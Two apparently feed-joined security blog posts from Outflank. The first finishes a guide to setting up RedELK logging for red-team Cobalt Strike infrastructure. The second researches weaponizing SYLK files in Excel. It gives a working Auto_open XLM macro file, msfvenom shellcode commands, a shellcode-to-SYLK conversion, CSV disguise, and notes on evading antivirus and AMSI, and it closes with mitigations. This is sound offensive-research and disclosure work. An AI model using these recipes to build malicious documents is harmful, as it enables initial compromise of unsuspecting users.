Important note: Make sure to edit the details of the TLS Certificate Authority in the certs/config.cfg file prior to running the script. Make sure to not make typos here: TLS is non-forgiving, resulting in blocked data flows to your RedELK server. Troubleshooting is difficult, so pay attention while performing this step.

In this case I’ve configured the TLS config file to use redelk.totallynotavirus.nl as DNS.1, and I’ve removed the DNS.2 and IP.1 lines.
After editing the TLS config file, run the installer:


./initial-setup.sh certs/config.cnf

Output should look like:

Installation on redirector

In this demo setup I have created two redirectors, one running Apache (used via the CDN), the other running HAProxy for the direct HTTP communication. Both redirectors need the redirs.tgz package generated in the previous step. So copy them over to the remote systems.

Before we can run the installers on the redirectors we need to configure Apache and HAProxy to be more verbose in their logging. This requires a modified config. Luckily RedELK ships with example configs for these extra logging directives, and can be found here. Let’s walk through the required steps.

Redirector setup

I will start with the Apache one. We need to enable required Apache modules, make a new site, configure the new site according to the Cobalt Strike profile and according to the RedELK logging requirements. This can be done as following:


apt-get install apache2 a2enmod rewrite proxy proxy_http proxy_connect ssl proxy_html deflate headers a2dissite 000-default.conf curl https://raw.githubusercontent.com/outflanknl/RedELK/master/example-data-and-configs/Apache/redelk-redir-apache.conf -o /etc/apache2/sites-available/redelkdemo.conf

Now open Apache config file, change the two occurrences of $$IP_OF_YOUR_C2SERVER to your C2 team server’s address (in my case c2server1.totallynotavirus.nl), define a friendly hostname (in my case redira1) and make sure to configure an informative name for the frontend (in my case www-http) and for the backends (in my case decoy and c2). See example in screenshot below.

Enable the site and start apache:


a2ensite redelkdemo.conf
service apache2 restart

As traffic hits your redirector the log file /var/log/access-redelk.log should be filled.

Now it is time to run the RedELK redir installer. Copy the redirs.tgz package from the initial setup step over to your redirector. Extract the tgz file and run the following command:


install-redir.sh $FilebeatID $ScenarioName $IP/DNS:PORT

In my case I ran:


./install-redir.sh redira1 shorthaul redelk.totallynotavirus.nl:5044

The installer should exit without errors, and filebeat should be started. Note that the filebeat log file will report errors as the RedELK server isn’t configured yet so the incoming Filebeat traffic is not acknowledged.

The setup of the HAproxy redirector is largely similar. You can find an example config here. The RedELK installer command I ran is:


./install-redir.sh redirdb1 longhaul redelk.totallynotavirus.nl:5044

Installation on C2 team server

The installation on the Cobalt Strike C2 teamservers is rather straight forward. Copy the teamservers.tgz package to the teamserver and run the installer using:


install-teamserver.sh $FilebeatID $ScenarioName $IP/DNS:PORT

These parameters should sound familiar. 🙂
I’ve ran the following command:


./install-teamserver.sh c2server1 shorthaul redelk.totallynotavirus.nl:5044

Important note: you want to keep the $ScenarioName the same as used during installation on the redirector. If you’ve failed to do so, or want to rename the scenarioname or the host at a later moment, just edit the fields in the /etc/filebeat/filebeat.yml file.

The installation on the other c2 team server is roughly the same, of course using FilebeatID c2server2 and scenario name longhaul.

Installation on RedELK server

The installation on the RedELK server requires no parameters. Just copy and extract the elkserver.tgz file, and run:


./install-elkserver.sh

You should see something like this.

As the installer tells you, there are a few mandatory things left to do:

  1. edit the configuration /etc/cron.d/redelk. This is required to rsync the Cobalt Strike logs, screenshots, downloaded files, etc to the local RedELK server. This *greatly* enhances ease of use during the ops.
  2. edit the configuration files in /etc/redelk/. I recommend at least the alarm.json.conf if you want alarms, and iplist_redteam.conf to define what external IP addresses are used for testing purposes and you naturally don’t want alarms on. But please check out all the details as also described at the RedELK wiki

See below screenshots for the edits in my example.

Contents of /etc/cron.d/redelk
Masked contents of /etc/redelk/alarm.json.conf
Contents of /etc/redelk/iplist_redteam.conf

Test the access

Browse to the HTTP port of the RedELK server. Login with your own creds, or use the default redelk:redelk. As soon as data is flowing you should find data in the indices.

Do you see data? Great! In the next blog post I will walk you through the specifics.

Troubleshooting

Still no data there? Here are some troubleshooting tips.

  • Did any of the installer packages report any error? If so, check the local installer log file.
  • Did you use the correct name for the TLS setup in the initial-setup.sh script?
  • Did you point filebeat to the correct DNS name or IP address? Check /etc/filebeat/filebeat.yml for the value of hosts. The value should match to something listed as DNS or IP in the TLS config file for the initial-setup.sh.
  • Is Filebeat correctly sending data? Check /var/log/filebeat/filebeat on redirs and teamservers. Sadly, the exact error messages are cryptic at best. In our experience, most often it comes down to a TLS-DNS-certificate mismatch.
  • Is Logstash on the redelk server reporting errors in /var/log/logstash/logstash-plain.log?
  • Are there any beacons running, and/or is there traffic flowing to your infra? If not, well, RedELK doesn’t have any data if there is no data 🙂
  • “It is not DNS. It can’t be DNS. Ah crap, it was DNS.” Make sure the DNS records are correctly configured.
  • Check the wiki of the project.
  • Still having issues? Create an issue at GitHub.

The post RedELK Part 2 – getting you up and running appeared first on Outflank.

Abusing the SYLK file format

By: Stan
30 October 2019 at 09:10

This blog is about the SYLK file format, a file format from the 1980s that is still supported by the most recent MS Office versions. As it turns out, this file format is a very good candidate for creating weaponized documents that can be used by attackers to establish an initial foothold. In our presentation at DerbyCon 8 we already demonstrated some of the powers of SYLK.

In this blog post we will dive into additional details of this file format. We also provide recommendations for mitigations against weaponized SYLK files.

Introduction

SYLK stands for SYmbolic LinK, a file format that was introduced in the 1980s. Commonly, SYLK files have the file extension .slk. SYLK is a file format which uses only displayable ANSI characters and it was created to exchange data between applications (such as spreadsheets and databases).

The file format is hardly used nowadays and documentation on it is scarce. Wikipedia has limited details on SYLK. Probably the best documentation available is the file sylksum.doc, authored by Microsoft and last updated in 1986 (!). We have hosted a copy of this file here. The File Formats Handbook by Gunter Born describes additional details on SYLK (it’s a 1995 book, second hand copies available on Amazon).

Despite being an ancient file format, the file extension .slk is still mapped by default to Excel on the most recent MS Office versions (confirmed on 2010, 2013 and 2016).

We are not the first offensive security researchers to look into the SYLK file format. Previously, Matt Nelson has demonstrated how DDE attacks can be combined with SYLK. This method has been weaponized in various malware samples that were observed in the wild, such as this one and this one.

In this blog post we will demonstrate that the power of SYLK goes beyond DDE attacks. In particular, malicious macros can be embedded in this file type as well.

No protected mode

There is one important reason why the SYLK format is appealing to attackers: the Protected View sandbox does not apply to this file format. This means that if a weaponized SYLK file is delivered via email or web and the Mark-of-the-Web flag is applied, the target user is not bothered with this warning message.

In addition, SYLK files with the .slk extension have the following characteristics.

Altogether, this makes SYLK a good candidate for weaponization.

XLM macros in SYLK

This unanswered question on an Excel forum caught our eye. Would it be possible to embed macros in SYLK? Simply trying to save an Excel file with a VBA project to SYLK did not work: a warning message was displayed that the macro project would be lost in this file format. Repeating this attempt with Excel 4.0 / XLM macros didn’t work either.

After studying the scarce documentation that is available on SYLK and after countless hours of experiments, we finally achieved our goal: macros can be embedded in the SYLK file format.

Open notepad, paste the following text and save it to a file with the .slk extension:

ID;P
O;E
NN;NAuto_open;ER101C1
C;X1;Y101;EEXEC("CALC.EXE")
C;X1;Y102;EHALT()
E

Double click the file to open it in Excel. Click “Enable Content” to enable macros and calculator will pop.

Let’s dive into how this works. Each line of a SYLK input file must be no longer than 260 characters (otherwise Excel will display an error message and will not parse that line). Every line consists of one or more records marked with semicolons:

  • The first line with the “ID” and “P” records is a marker that indicates this file is a SYLK file.
  • The second line with the “O” record sets options for this document. “E” marks that it is a macro-enabled document.
  • The third line has a names record “NN”. We set the name “Auto_open” for the cell at row 101, column 1 (“ER101C1”).
  • The fourth and fifth lines define cell content (“C”). “X” and “Y” records mark row and columns (e.g. row 1, column 101 in the first “C” line). Record “E” defines an expression value for this cell, in our case two Excel 4.0 macro functions.
  • The last line holds the end of file record (“E”).

In short, this basic SYLK file example defines a cell named Auto_open that executes the EXEC() and HALT() Excel 4.0 macro functions (so this is not VBA!). If you target Excel in a different language, beware of localized Auto_open event names. For example, in Dutch this has to be renamed to “Auto_openen”.

Process injection with SYLK

Now that we can embed macros in SYLK, we can do much more than simply popping calculator. In our previous blog post on Excel 4.0 / XLM macros, we have already demonstrated the power of this macro type. The following proof of concept demonstrates shellcode injection using macros in SYLK:

The code for this proof of concept is available from our GitHub page.

  • Create shellcode without null bytes. Example with msfvenom:
    msfvenom -c messageBox -a x86 --platform windows -p windows/messagebox TEXT="Hello from shellcode!" -b "\x00" -f raw > messagebox.bin
  • Create a SYLK file that embeds and loads the shellcode:
    python shellcode_to_sylk.py messagebox.bin > file.slk

Based on proof of concept code that we shared with MDSec in an early stage of our research, Dominic Chell has also embedded process injection using SYLK payloads in his SharpShooter tool.

Disguising SYLK as CSV

An interesting feature is that SYLK files can be disguised as other Excel file types, including the comma-seperated values (CSV) type. Upon parsing of a file with the .csv extension, Excel will automatically detect if the file is a SYLK file when the file starts with the header “ID;P” which is typical for SYLK. If this is the case, the following dialogue will be presented to the user:

If the user clicks “Yes”, the file will be opened as a SYLK file instead of CSV. So, with one additional warning message we can embed a malicious macro in a text-based file with the .csv extension.

Abusing SYLK on Mac

The SYLK file format is also supported on MS Office for Mac. The .slk extension maps to Excel for Mac by default and Excel 4.0 / XLM macros are supported as well, rendering this file format a very good candidate for weaponization on Mac.

Things get even more interesting when a target uses an outdated version of MS Office for Mac. MS Office 2011 for Mac contains a vulnerability where no warning message is displayed before macro execution in SYLK files. My colleague Pieter has previously blogged about this. Since Microsoft does no longer support this version of MS Office, this vulnerability will not be fixed. Unfortunately, we still spot Mac users with this outdated MS Office version from time to time.

SYLK and antivirus

In theory, SYLK files are easy to scan for a security product since the file format is very simple. However, in practice, it appears that many antivirus products do not particularly bother about this file format. In our experience, detection signatures and heuristics for malicious SYLK files by most antivirus products are quite poor.

We hope that this blog post contributes to a better understanding of the dangers of SYLK files and that antivirus vendors will act upon this. With an increase of malicious SYLK samples in the wild there is definitely a motivation to do so.

Also, it should be noted that the Antimalware Scan Interface (AMSI) does not catch macros in SYLK. As the AMSI engine for macros only hooks into VBA, it is blind to Excel 4.0 / XLM based macros.

Mitigation

The best way to mitigate abuse is to completely block SYLK files in MS Office, which can be achieved through File Block settings in the MS Office Trust Center settings.

This GUI can be a bit confusing. A checkbox under “Open” means that a blocking action is defined for that filetype. So a checkbox under “Dif and Sylk Files” and selecting “Do not open selected file types” is what you need to configure in order to block opening of SYLK files.

Note that this setting can also be managed via Group policy:

  • The relevant policy can be configured under Microsoft Excel 2016\Excel Options\Security\Trust Center\File Block Settings.
  • Set “Dif and Sylk” to “Enabled: Open/Save blocked, use open policy” to prevent users from opening SYLK files in MS Office.

Another opportunity for mitigation is that macros in a SYLK document do adhere to macro security settings configured in MS Office. While completely disabling macros is not a viable option in many organisations, the following good practices can reduce the risk posed by malicious macros in SYLK and other MS Office file formats:

  • MS Office 2013 and 2016 have a feature to block macros in files that are downloaded from the internet. Set a DWORD value for blockcontentexecutionfrominternet to “1” under HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Security. This setting can also be managed via GPO. Enable the setting “Block macros from running in Office files from the Internet” which can be found under Microsoft Excel 2016\Excel Options\Security\Trust Center.
  • In addition, Attack Surface Reduction rules can be used to set boundaries to what macros can do on a system.

Any feedback or additional ideas? Reach out on Twitter!

The post Abusing the SYLK file format appeared first on Outflank.

❌
❌